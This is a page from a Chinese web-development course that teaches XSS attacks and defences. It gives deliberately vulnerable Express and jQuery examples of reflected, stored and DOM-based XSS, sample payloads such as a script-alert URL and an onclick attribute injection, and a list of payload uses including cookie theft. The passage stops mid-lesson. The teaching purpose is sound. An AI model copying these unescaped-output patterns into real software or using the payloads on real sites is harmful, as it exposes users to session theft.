<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>珠峰架构师成长计划</title>
    <link rel="stylesheet" type="text/css" href="../static/css/main.css">
</head>
<body>
<div class="nav">
    <div class="logo">
        
            珠峰架构师成长计划
        
    </div>
<ul><li><a href="../index.html">0.Async</a></li><li><a href="../html/0.editor.html">0.editor</a></li><li><a href="../html/0.module.html">0.module</a></li><li><a href="../html/1.ES2015.html">1.ES2015</a></li><li><a href="../html/2.Promise.html">2.Promise</a></li><li><a href="../html/3.Node.html">3.Node</a></li><li><a href="../html/4.NodeInstall.html">4.NodeInstall</a></li><li><a href="../html/5.REPL.html">5.REPL</a></li><li><a href="../html/6.NodeCore.html">6.NodeCore</a></li><li><a href="../html/7.module&NPM.html">7.module&NPM</a></li><li><a href="../html/8.Encoding.html">8.Encoding</a></li><li><a href="../html/9.Buffer.html">9.Buffer</a></li><li><a href="../html/10.fs.html">10.fs</a></li><li><a href="../html/11.Stream-1.html">11.Stream-1</a></li><li><a href="../html/11.Stream-2.html">11.Stream-2</a></li><li><a href="../html/11.Stream-3.html">11.Stream-3</a></li><li><a href="../html/11.Stream-4.html">11.Stream-4</a></li><li><a href="../html/12-Network-2.html">12-Network-2</a></li><li><a href="../html/12.NetWork-3.html">12.NetWork-3</a></li><li><a href="../html/12.Network-1.html">12.Network-1</a></li><li><a href="../html/13.tcp.html">13.tcp</a></li><li><a href="../html/14.http-1.html">14.http-1</a></li><li><a href="../html/14.http-2.html">14.http-2</a></li><li><a href="../html/15.compress.html">15.compress</a></li><li><a href="../html/16.crypto.html">16.crypto</a></li><li><a href="../html/17.process.html">17.process</a></li><li><a href="../html/18.yargs.html">18.yargs</a></li><li><a href="../html/19.cache.html">19.cache</a></li><li><a href="../html/20.action.html">20.action</a></li><li><a href="../html/21.https.html">21.https</a></li><li><a href="../html/22.cookie.html">22.cookie</a></li><li><a href="../html/23.session.html">23.session</a></li><li><a href="../html/24.express-1.html">24.express-1</a></li><li><a href="../html/24.express-2.html">24.express-2</a></li><li><a href="../html/24.express-3.html">24.express-3</a></li><li><a href="../html/24.express-4.html">24.express-4</a></li><li><a href="../html/25.koa-1.html">25.koa-1</a></li><li><a href="../html/26.webpack-1-basic.html">26.webpack-1-basic</a></li><li><a href="../html/26.webpack-2-optimize.html">26.webpack-2-optimize</a></li><li><a href="../html/26.webpack-3.tapable.html">26.webpack-3.tapable</a></li><li><a href="../html/26.webpack-4-AST.html">26.webpack-4-AST</a></li><li><a href="../html/26.webpack-5-source.html">26.webpack-5-source</a></li><li><a href="../html/26.webpack-6-loader.html">26.webpack-6-loader</a></li><li><a href="../html/26.webpack-7-plugin.html">26.webpack-7-plugin</a></li><li><a href="../html/26.webpack-8-hand.html">26.webpack-8-hand</a></li><li><a href="../html/27.react-1.html">27.react-1</a></li><li><a href="../html/27.react-2.html">27.react-2</a></li><li><a href="../html/27.react-3.html">27.react-3</a></li><li><a href="../html/27.react-4-immutable.html">27.react-4-immutable</a></li><li><a href="../html/27.react-5-react-dom-diff.html">27.react-5-react-dom-diff</a></li><li><a href="../html/27.react-6.html">27.react-6</a></li><li><a href="../html/28.react-mobx.html">28.react-mobx</a></li><li><a href="../html/28.redux-0.html">28.redux-0</a></li><li><a href="../html/28.redux-1.html">28.redux-1</a></li><li><a href="../html/28.redux-2-中间件.html">28.redux-2-中间件</a></li><li><a href="../html/28.redux-3-saga.html">28.redux-3-saga</a></li><li><a href="../html/28.redux-jwt-back.html">28.redux-jwt-back</a></li><li><a href="../html/28.redux-jwt-front.html">28.redux-jwt-front</a></li><li><a href="../html/29.mongodb-1.html">29.mongodb-1</a></li><li><a href="../html/29.mongodb-2.html">29.mongodb-2</a></li><li><a href="../html/29.mongodb-3.html">29.mongodb-3</a></li><li><a href="../html/29.mongodb-4.html">29.mongodb-4</a></li><li><a href="../html/29.mongodb-5.html">29.mongodb-5</a></li><li><a href="../html/29.mongodb-6.html">29.mongodb-6</a></li><li><a href="../html/30.cms-1-mysql.html">30.cms-1-mysql</a></li><li><a href="../html/30.cms-2-mysql.html">30.cms-2-mysql</a></li><li><a href="../html/30.cms-3-mysql.html">30.cms-3-mysql</a></li><li><a href="../html/30.cms-4-egg.html">30.cms-4-egg</a></li><li><a href="../html/30.cms-5-api.html">30.cms-5-api</a></li><li><a href="../html/30.cms-6-roadhog.html">30.cms-6-roadhog</a></li><li><a href="../html/30.cms-7-umi.html">30.cms-7-umi</a></li><li><a href="../html/30.cms-8-dva.html">30.cms-8-dva</a></li><li><a href="../html/30.cms-9-dva.html">30.cms-9-dva</a></li><li><a href="../html/30.cms-10-front.html">30.cms-10-front</a></li><li><a href="../html/30.cms-11-deploy.html">30.cms-11-deploy</a></li><li><a href="../html/33.redis.html">33.redis</a></li><li><a href="../html/34.unittest.html">34.unittest</a></li><li><a href="../html/35.jwt.html">35.jwt</a></li><li><a href="../html/36.websocket-1.html">36.websocket-1</a></li><li><a href="../html/36.websocket-2.html">36.websocket-2</a></li><li><a href="../html/38.chat-api-1.html">38.chat-api-1</a></li><li><a href="../html/38.chat-api-2.html">38.chat-api-2</a></li><li><a href="../html/38.chat-3.html">38.chat-3</a></li><li><a href="../html/38.chat-api-3.html">38.chat-api-3</a></li><li><a href="../html/38.chat.html">38.chat</a></li><li><a href="../html/38.chat2.html">38.chat2</a></li><li><a href="../html/38.chat2.html">38.chat2</a></li><li><a href="../html/39.crawl-0.html">39.crawl-0</a></li><li><a href="../html/39.crawl-1.html">39.crawl-1</a></li><li><a href="../html/39.crawl-2.html">39.crawl-2</a></li><li><a href="../html/40.deploy.html">40.deploy</a></li><li class="active"><a href="../html/41.safe.html">41.safe</a></li><li><a href="../html/42.test.html">42.test</a></li><li><a href="../html/43.nginx.html">43.nginx</a></li><li><a href="../html/44.enzyme.html">44.enzyme</a></li><li><a href="../html/45.docker.html">45.docker</a></li><li><a href="../html/46.elastic.html">46.elastic</a></li><li><a href="../html/47.oauth.html">47.oauth</a></li><li><a href="../html/48.wxpay.html">48.wxpay</a></li><li><a href="../html/49.nunjucks.html">49.nunjucks</a></li><li><a href="../html/50.ketang.html">50.ketang</a></li><li><a href="../html/index.html">index</a></li><li><a href="../html/51.typescript.html">51.typescript</a></li><li><a href="../html/52.UML.html">52.UML</a></li><li><a href="../html/53.design.html">53.design</a></li><li><a href="../html/index.html">index</a></li><li><a href="../html/54.linux.html">54.linux</a></li><li><a href="../html/55.yaml.html">55.yaml</a></li><li><a href="../html/50.ketang2.html">50.ketang2</a></li><li><a href="../html/56.ts.html">56.ts</a></li><li><a href="../html/57.ts_react.html">57.ts_react</a></li><li><a href="../html/58.react-ssr.html">58.react-ssr</a></li><li><a href="../html/59.react-ssr.html">59.react-ssr</a></li></ul></div>


<div class="warpper">

    <div class="page-toc">
        <ul><li><a href="#t01. XSS(Cross-Site Script)">1. XSS(Cross-Site Script)</a><ul><li><a href="#t11.1 反射型(非持久型)XSS">1.1 反射型(非持久型)XSS</a></li><li><a href="#t21.2 存储型(持久型)XSS">1.2 存储型(持久型)XSS</a></li><li><a href="#t31.3 DOM-Based型XSS">1.3 DOM-Based型XSS</a></li><li><a href="#t41.4 payload">1.4 payload</a></li><li><a href="#t51.5 如何防御XSS">1.5 如何防御XSS</a></li><li><a href="#t61.6 Web相关编码和转义">1.6 Web相关编码和转义</a><ul><li><a href="#t71.6.1 URL 编码">1.6.1 URL 编码</a></li><li><a href="#t81.6.2 HTML 编码">1.6.2 HTML 编码</a></li><li><a href="#t91.6.3 Javascript 转义">1.6.3 Javascript 转义</a></li></ul></li><li><a href="#t101.7 输入检查">1.7 输入检查</a></li><li><a href="#t111.8.3 URL解析环境">1.8.3 URL解析环境</a></li></ul></li><li><a href="#t122. CSRF">2. CSRF</a><ul><li><a href="#t132.1 跨站请求伪造">2.1 跨站请求伪造</a></li><li><a href="#t142.2 防御">2.2 防御</a><ul><li><a href="#t152.2.1  验证码">2.2.1  验证码</a></li><li><a href="#t162.2.2 refer 验证">2.2.2 refer 验证</a></li><li><a href="#t172.2.3 token验证">2.2.3 token验证</a></li><li><a href="#t182.2.4 xss+csrf(蠕虫)">2.2.4 xss+csrf(蠕虫)</a></li></ul></li></ul></li><li><a href="#t193. DDOS攻击">3. DDOS攻击</a></li><li><a href="#t204. HTTP劫持">4. HTTP劫持</a></li><li><a href="#t21参考">参考</a></li></ul>
    </div>
    
    <div class="content markdown-body">
        <h2 id="t01. XSS(Cross-Site Script)">1. XSS(Cross-Site Script) <a href="#t01. XSS(Cross-Site Script)"> # </a></h2>
<ol>
<li>&#x9ED1;&#x5BA2;&#x5F80;&#x7F51;&#x9875;&#x91CC;&#x6CE8;&#x5165;&#x6076;&#x610F;&#x811A;&#x672C;&#x4EE3;&#x7801;</li>
<li>&#x5F53;&#x7528;&#x6237;&#x8BBF;&#x95EE;&#x65F6;&#x83B7;&#x53D6;&#x5230;&#x5305;&#x542B;&#x6076;&#x610F;&#x4EE3;&#x7801;&#x7684;&#x7F51;&#x9875;</li>
<li>&#x901A;&#x8FC7;&#x6076;&#x610F;&#x811A;&#x672C;&#xFF0C;&#x9ED1;&#x5BA2;&#x53EF;&#x4EE5;&#x83B7;&#x53D6;&#x548C;&#x63A7;&#x5236;&#x7528;&#x6237;&#x4FE1;&#x606F;</li>
</ol>
<h3 id="t11.1 &#x53CD;&#x5C04;&#x578B;(&#x975E;&#x6301;&#x4E45;&#x578B;)XSS">1.1 &#x53CD;&#x5C04;&#x578B;(&#x975E;&#x6301;&#x4E45;&#x578B;)XSS <a href="#t11.1 &#x53CD;&#x5C04;&#x578B;(&#x975E;&#x6301;&#x4E45;&#x578B;)XSS"> # </a></h3>
<p>&#x8BF1;&#x5BFC;&#x7528;&#x6237;&#x70B9;&#x51FB;&#x6076;&#x610F;&#x94FE;&#x63A5;&#x6765;&#x9020;&#x6210;&#x4E00;&#x6B21;&#x6027;&#x653B;&#x51FB;</p>
<ol>
<li>&#x9ED1;&#x5BA2;&#x628A;&#x5E26;&#x6709;&#x6076;&#x610F;&#x811A;&#x672C;&#x4EE3;&#x7801;&#x53C2;&#x6570;&#x7684;URL&#x5730;&#x5740;&#x53D1;&#x9001;&#x7ED9;&#x7528;&#x6237;</li>
<li>&#x7528;&#x6237;&#x70B9;&#x51FB;&#x6B64;&#x94FE;&#x63A5;</li>
<li>&#x670D;&#x52A1;&#x5668;&#x7AEF;&#x83B7;&#x53D6;&#x8BF7;&#x6C42;&#x53C2;&#x6570;&#x5E76;&#x4E14;&#x76F4;&#x63A5;&#x4F7F;&#x7528;&#xFF0C;&#x670D;&#x52A1;&#x5668;&#x53CD;&#x5C04;&#x56DE;&#x7ED3;&#x679C;&#x9875;&#x9762; </li>
</ol>
<ul>
<li>&#x53CD;&#x5C04;&#x578B;XSS&#x653B;&#x51FB;&#x662F;&#x4E00;&#x6B21;&#x6027;&#x7684;&#xFF0C;&#x5FC5;&#x987B;&#x8981;&#x901A;&#x8FC7;&#x7528;&#x6237;&#x70B9;&#x51FB;&#x94FE;&#x63A5;&#x624D;&#x80FD;&#x53D1;&#x8D77;</li>
<li>&#x4E00;&#x4E9B;&#x6D4F;&#x89C8;&#x5668;&#x5982;Chrome&#x5176;&#x5185;&#x7F6E;&#x4E86;&#x4E00;&#x4E9B;XSS&#x8FC7;&#x6EE4;&#x5668;&#xFF0C;&#x53EF;&#x4EE5;&#x9632;&#x6B62;&#x5927;&#x90E8;&#x5206;&#x53CD;&#x5C04;&#x578B;XSS&#x653B;&#x51FB;</li>
<li>&#x53CD;&#x5C04;&#x578B;XSS&#x5176;&#x5B9E;&#x5C31;&#x662F;&#x670D;&#x52A1;&#x5668;&#x6CA1;&#x6709;&#x5BF9;&#x6076;&#x610F;&#x7684;&#x7528;&#x6237;&#x8F93;&#x5165;&#x8FDB;&#x884C;&#x5B89;&#x5168;&#x5904;&#x7406;&#x5C31;&#x76F4;&#x63A5;&#x53CD;&#x5C04;&#x54CD;&#x5E94;&#x5185;&#x5BB9;&#xFF0C;&#x5BFC;&#x81F4;&#x6076;&#x610F;&#x4EE3;&#x7801;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x6267;&#x884C;&#x7684;&#x4E00;&#x79CD;XSS&#x6F0F;&#x6D1E;</li>
</ul>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">&apos;express&apos;</span>);
<span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">&apos;fs&apos;</span>);
<span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">&apos;path&apos;</span>);
<span class="hljs-keyword">const</span> app = express();
<span class="hljs-keyword">const</span> bodyParser = <span class="hljs-built_in">require</span>(<span class="hljs-string">&apos;body-parser&apos;</span>);
app.use(bodyParser.urlencoded({ <span class="hljs-attr">extended</span>: <span class="hljs-literal">true</span> }));
app.use(bodyParser.json());
app.use(express.static(path.resolve(__dirname, <span class="hljs-string">&apos;public&apos;</span>)));
<span class="hljs-comment">//http://localhost:3000/list?category=%3Cscript%3Ealert(1)%3C/script%3E</span>
app.get(<span class="hljs-string">&apos;/list&apos;</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">req, res</span>) </span>{
    <span class="hljs-keyword">let</span> { category } = req.query;
    res.header(<span class="hljs-string">&apos;Content-Type&apos;</span>, <span class="hljs-string">&apos;text/html;charset=utf-8&apos;</span>);
    res.send(<span class="hljs-string">`&#x4F60;&#x8F93;&#x5165;&#x7684;&#x5206;&#x7C7B;&#x662F;: <span class="hljs-subst">${category}</span>`</span>);
});
app.listen(<span class="hljs-number">3000</span>, () =&gt; <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&apos;The server is starting at port 3000&apos;</span>));
</code></pre>
<h3 id="t21.2 &#x5B58;&#x50A8;&#x578B;(&#x6301;&#x4E45;&#x578B;)XSS">1.2 &#x5B58;&#x50A8;&#x578B;(&#x6301;&#x4E45;&#x578B;)XSS <a href="#t21.2 &#x5B58;&#x50A8;&#x578B;(&#x6301;&#x4E45;&#x578B;)XSS"> # </a></h3>
<p>&#x9ED1;&#x5BA2;&#x5C06;&#x4EE3;&#x7801;&#x5B58;&#x50A8;&#x5230;&#x6F0F;&#x6D1E;&#x670D;&#x52A1;&#x5668;&#x4E2D;&#xFF0C;&#x7528;&#x6237;&#x6D4F;&#x89C8;&#x76F8;&#x5173;&#x9875;&#x9762;&#x53D1;&#x8D77;&#x653B;&#x51FB;</p>
<ol>
<li>&#x9ED1;&#x5BA2;&#x5C06;&#x6076;&#x610F;&#x811A;&#x672C;&#x4EE3;&#x7801;&#x4E0A;&#x4F20;&#x6216;&#x5B58;&#x50A8;&#x5230;&#x6F0F;&#x6D1E;&#x670D;&#x52A1;&#x5668;</li>
<li>&#x670D;&#x52A1;&#x5668;&#x628A;&#x6076;&#x610F;&#x811A;&#x672C;&#x4FDD;&#x5B58;&#x5230;&#x670D;&#x52A1;&#x5668;</li>
<li>&#x5F53;&#x6B63;&#x5E38;&#x5BA2;&#x6237;&#x8BBF;&#x95EE;&#x670D;&#x52A1;&#x5668;&#x65F6;&#xFF0C;&#x670D;&#x52A1;&#x5668;&#x4F1A;&#x8BFB;&#x53D6;&#x6076;&#x610F;&#x6570;&#x636E;&#x5E76;&#x4E14;&#x76F4;&#x63A5;&#x4F7F;&#x7528;</li>
<li>&#x670D;&#x52A1;&#x5668;&#x4F1A;&#x8FD4;&#x56DE;&#x542B;&#x6709;&#x6076;&#x610F;&#x811A;&#x672C;&#x7684;&#x9875;&#x9762;</li>
</ol>
<table>
<thead>
<tr>
<th style="text-align:left">&#x7C7B;&#x578B;</th>
<th style="text-align:left">&#x53CD;&#x5C04;&#x578B;</th>
<th style="text-align:left">&#x5B58;&#x50A8;&#x578B;</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">&#x6301;&#x4E45;&#x6027;</td>
<td style="text-align:left">&#x975E;&#x6301;&#x4E45;</td>
<td style="text-align:left">&#x6301;&#x4E45;&#x5316;(&#x5B58;&#x50A8;&#x5728;&#x670D;&#x52A1;&#x5668;)</td>
</tr>
<tr>
<td style="text-align:left">&#x89E6;&#x53D1;&#x65F6;&#x673A;</td>
<td style="text-align:left">&#x9700;&#x8981;&#x7528;&#x6237;&#x70B9;&#x51FB;</td>
<td style="text-align:left">&#x4E0D;&#x9700;&#x8981;&#x7528;&#x6237;&#x4EA4;&#x4E92;&#x4E5F;&#x53EF;&#x4EE5;&#x89E6;&#x53D1;</td>
</tr>
<tr>
<td style="text-align:left">&#x5371;&#x5BB3;</td>
<td style="text-align:left">&#x5371;&#x5BB3;&#x8F83;&#x5C0F;</td>
<td style="text-align:left">&#x5371;&#x5BB3;&#x66F4;&#x5927;</td>
</tr>
</tbody>
</table>
<p>public\comment-list.html</p>
<pre><code class="lang-js">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;

&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;ie=edge&quot;&gt;
    &lt;title&gt;&#x8BC4;&#x8BBA;&#x5217;&#x8868;&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css&quot;&gt;
&lt;/head&gt;

&lt;body&gt;
    &lt;div class=&quot;container&quot;&gt;
        &lt;div class=&quot;row&quot;&gt;
            &lt;div class=&quot;col-md-12&quot;&gt;
                &lt;div class=&quot;panel panel-default&quot;&gt;
                    &lt;div class=&quot;panel-heading&quot;&gt;
                        &lt;h2&gt;&#x8BC4;&#x8BBA;&#x5217;&#x8868;&lt;/h2&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;panel-body&quot;&gt;
                        &lt;ul class=&quot;list-group comment-list&quot;&gt;

                        &lt;/ul&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;panel-footer&quot;&gt;
                        &lt;div class=&quot;row&quot;&gt;
                            &lt;div class=&quot;col-md-12&quot;&gt;
                                &lt;form onsubmit=&quot;addComment(event)&quot;&gt;
                                    &lt;div class=&quot;form-group&quot;&gt;
                                        &lt;label for=&quot;username&quot;&gt;&#x7528;&#x6237;&#x540D;&lt;/label&gt;
                                        &lt;input id=&quot;username&quot; class=&quot;form-control&quot; placeholder=&quot;&#x7528;&#x6237;&#x540D;&quot;&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;form-group&quot;&gt;
                                        &lt;label for=&quot;content&quot;&gt;&#x5185;&#x5BB9;&lt;/label&gt;
                                        &lt;input id=&quot;content&quot; class=&quot;form-control&quot; placeholder=&quot;&#x8BF7;&#x8F93;&#x5165;&#x8BC4;&#x8BBA;&quot;&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;form-group&quot;&gt;
                                        &lt;input type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;
                                    &lt;/div&gt;
                                &lt;/form&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    &lt;script src=&quot;https://cdn.bootcss.com/jquery/3.3.1/jquery.js&quot;&gt;&lt;/script&gt;
    &lt;script&gt;
        function getCommentList() {
            $.get(&apos;/api/comments&apos;).then(comments =&gt; {
                let html = comments.map(item =&gt; (
                    `
                &lt;li class=&quot;list-group-item&quot;&gt;
                        &lt;div class=&quot;media&quot;&gt;
                            &lt;div class=&quot;media-left&quot;&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                   &lt;img style=&quot;border-radius:5px&quot; class=&quot;media-object&quot; src=&quot;${item.avatar}&quot; &gt;
                                &lt;/a&gt;
                            &lt;/div&gt;
                            &lt;div class=&quot;media-body&quot;&gt;
                                &lt;h4 class=&quot;media-heading&quot;&gt;&#x7528;&#x6237;&#x540D;: ${item.username}&lt;/h4&gt;
                                &lt;p&gt;&#x5185;&#x5BB9;: ${item.content}&lt;/p&gt;
                                &lt;p&gt;&#x65F6;&#x95F4;: ${item.time}&lt;/p&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                &lt;/li&gt;
                `
                )).join(&apos;&apos;);
                $(&apos;.comment-list&apos;).html(html);
            });
        }
        getCommentList();
        function addComment(event) {
            event.preventDefault();
            let username = $(&apos;#username&apos;).val();
            let content = $(&apos;#content&apos;).val();
            if (!content) return;
            $.post(&apos;/api/comments&apos;, { username, content }).then(data =&gt; {
                getCommentList();
                $(&apos;#content&apos;).val(&apos;&apos;);
            });
        }
    &lt;/script&gt;
&lt;/body&gt;

&lt;/html&gt;
</code></pre>
<p>server.js</p>
<pre><code class="lang-js"><span class="hljs-keyword">let</span> comments = [
    { <span class="hljs-attr">avatar</span>: <span class="hljs-string">&apos;http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a&apos;</span>, <span class="hljs-attr">username</span>: <span class="hljs-string">&apos;&#x5F20;&#x4E09;&apos;</span>, <span class="hljs-attr">content</span>: <span class="hljs-string">&apos;&#x4ECA;&#x5929;&#x5929;&#x6C14;&#x4E0D;&#x9519;&apos;</span>, <span class="hljs-attr">time</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>().toLocaleString() },
    { <span class="hljs-attr">avatar</span>: <span class="hljs-string">&apos;http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a&apos;</span>, <span class="hljs-attr">username</span>: <span class="hljs-string">&apos;&#x674E;&#x56DB;&apos;</span>, <span class="hljs-attr">content</span>: <span class="hljs-string">&apos;&#x662F;&#x7684;&apos;</span>, <span class="hljs-attr">time</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>().toLocaleString() }
];
app.get(<span class="hljs-string">&apos;/api/comments&apos;</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">req, res</span>) </span>{
    res.json(comments);
});
app.post(<span class="hljs-string">&apos;/api/comments&apos;</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">req, res</span>) </span>{
    <span class="hljs-keyword">let</span> comment = req.body;
    comments.push({
        ...comment,
        <span class="hljs-attr">avatar</span>: <span class="hljs-string">&apos;http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a&apos;</span>,
        <span class="hljs-attr">time</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>().toLocaleString()
    });
    res.json(comments);
});
</code></pre>
<h3 id="t31.3 DOM-Based&#x578B;XSS">1.3 DOM-Based&#x578B;XSS <a href="#t31.3 DOM-Based&#x578B;XSS"> # </a></h3>
<p>&#x4E0D;&#x9700;&#x8981;&#x670D;&#x52A1;&#x5668;&#x7AEF;&#x652F;&#x6301;&#xFF0C;&#x662F;&#x7531;&#x4E8E;DOM&#x7ED3;&#x6784;&#x4FEE;&#x6539;&#x5BFC;&#x81F4;&#x7684;&#xFF0C;&#x57FA;&#x4E8E;&#x6D4F;&#x89C8;&#x5668;DOM&#x89E3;&#x6790;&#x7684;&#x653B;&#x51FB;</p>
<ol>
<li>&#x7528;&#x6237;&#x6253;&#x5F00;&#x5E26;&#x6709;&#x6076;&#x610F;&#x7684;&#x94FE;&#x63A5;</li>
<li>&#x6D4F;&#x89C8;&#x5668;&#x5728;DOM&#x89E3;&#x6790;&#x7684;&#x65F6;&#x5019;&#x76F4;&#x63A5;&#x4F7F;&#x7528;&#x6076;&#x610F;&#x6570;&#x636E;</li>
<li>&#x7528;&#x6237;&#x4E2D;&#x62DB;</li>
<li>&#x5E38;&#x89C1;&#x7684;&#x89E6;&#x53D1;&#x573A;&#x666F;&#x5C31;&#x662F;&#x5728;&#x4FEE;&#x6539;innerHTML outerHTML document.write&#x7684;&#x65F6;&#x5019;</li>
</ol>
<pre><code class="lang-js">&lt;body&gt;
    &lt;h1&gt;&#x8F93;&#x5165;&#x94FE;&#x63A5;&#x5730;&#x5740;&#xFF0C;&#x7136;&#x540E;&#x70B9;&#x51FB;&#x6309;&#x94AE;&lt;/h1&gt;
    &lt;div id=&quot;content&quot;&gt;&lt;/div&gt;
    &lt;input type=&quot;text&quot; id=&quot;link&quot;&gt;
    &lt;button onclick=&quot;setup()&quot;&gt;&#x8BBE;&#x7F6E;&lt;/button&gt;
    &lt;script src=&quot;https://cdn.bootcss.com/jquery/3.3.1/jquery.js&quot;&gt;&lt;/script&gt;
    &lt;script&gt;
        function setup() {
            // &quot; onclick=alert(1) //
            let html = `&lt;a href=&quot;${$(&apos;#link&apos;).val()}&quot;&gt;&#x70B9;&#x6211;&lt;/a&gt;`;
            $(&apos;#content&apos;).html(html);
        }
    &lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3 id="t41.4 payload">1.4 payload <a href="#t41.4 payload"> # </a></h3>
<p>&#x5B9E;&#x73B0;XSS&#x653B;&#x51FB;&#x7684;&#x6076;&#x610F;&#x811A;&#x672C;&#x88AB;&#x79F0;&#x4E3A; <code>XSS payload</code></p>
<ul>
<li>&#x7A83;&#x53D6;&#x7528;&#x6237;&#x7684;Cookie  <code>document.cookie</code></li>
<li>&#x8BC6;&#x522B;&#x7528;&#x6237;&#x6D4F;&#x89C8;&#x5668;  <code>navigator.userAgent</code></li>
<li>&#x4F2A;&#x9020;&#x8BF7;&#x6C42; GET POST&#x8BF7;&#x6C42;</li>
<li>XSS&#x9493;&#x9C7C;  &#x901A;&#x8FC7;XSS&#x5411;&#x7F51;&#x9875;&#x4E0A;&#x6CE8;&#x5165;&#x9493;&#x9C7C;&#x94FE;&#x63A5;&#xFF0C;&#x8BA9;&#x7528;&#x6237;&#x8BBF;&#x95EE;&#x5047;&#x5192;&#x7684;&#x7F51;&#x7AD9;</li>
</ul>
<h3 id="t51.5 &#x5982;&#x4F55;&#x9632;&#x5FA1;XSS">1.5 &#x5982;&#x4F55;&#x9632;&#x5FA1;XSS <a href="#t51.5 &#x5982;&#x4F55;&#x9632;&#x5FA1;XSS"> # </a></h3>
<ul>
<li>&#x7ED9;cookie&#x8BBE;&#x7F6E;httpOnly&#x5C5E;&#x6027; &#x811A;&#x672C;&#x65E0;&#x6CD5;&#x8BFB;&#x53D6;&#x8BE5;Cookie,&#x81EA;&#x5DF1;&#x4E5F;&#x4E0D;&#x80FD;&#x7528;&#xFF0C;&#x975E;&#x6839;&#x672C;&#x89E3;&#x51B3;XSS</li>
</ul>
<p>login.html</p>
<pre><code class="lang-js">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;

&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;ie=edge&quot;&gt;
    &lt;title&gt;&#x767B;&#x5F55;&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css&quot;&gt;
&lt;/head&gt;

&lt;body&gt;
    &lt;div class=&quot;container&quot;&gt;
        &lt;div class=&quot;row&quot;&gt;
            &lt;div class=&quot;col-md-12&quot;&gt;
                &lt;form onsubmit=&quot;login(event)&quot;&gt;
                    &lt;div class=&quot;form-group&quot;&gt;
                        &lt;label for=&quot;username&quot;&gt;&#x7528;&#x6237;&#x540D;&lt;/label&gt;
                        &lt;input id=&quot;username&quot; class=&quot;form-control&quot; placeholder=&quot;&#x7528;&#x6237;&#x540D;&quot;&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;form-group&quot;&gt;
                        &lt;label for=&quot;password&quot;&gt;&#x5BC6;&#x7801;&lt;/label&gt;
                        &lt;input id=&quot;password&quot; class=&quot;form-control&quot; placeholder=&quot;&#x5BC6;&#x7801;&quot;&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;form-group&quot;&gt;
                        &lt;input type=&quot;submit&quot; class=&quot;btn btn-primary&quot; value=&quot;&#x767B;&#x5F55;&quot;&gt;
                    &lt;/div&gt;
                &lt;/form&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    &lt;/div&gt;
    &lt;script src=&quot;https://cdn.bootcss.com/jquery/3.3.1/jquery.js&quot;&gt;&lt;/script&gt;
    &lt;script&gt;
        function login() {
            let username = $(&apos;#username&apos;).val();
            let password = $(&apos;#password&apos;).val();
            $.post(&apos;/api/login&apos;, { username, password }).then(data =&gt; {
                if (data.code == 0) {
                    location.href = `/user.html?username=${username}`;
                }
                $(&apos;#username&apos;).val(&apos;&apos;);
                $(&apos;#password&apos;).val(&apos;&apos;);
            });
        }
    &lt;/script&gt;
&lt;/body&gt;

&lt;/html&gt;
</code></pre>
<p>user.html</p>
<pre><code class="lang-js">&lt;script&gt;
        <span class="hljs-built_in">document</span>.write(<span class="hljs-built_in">document</span>.cookie);
    <span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></span>
</code></pre>
<p>server.js</p>
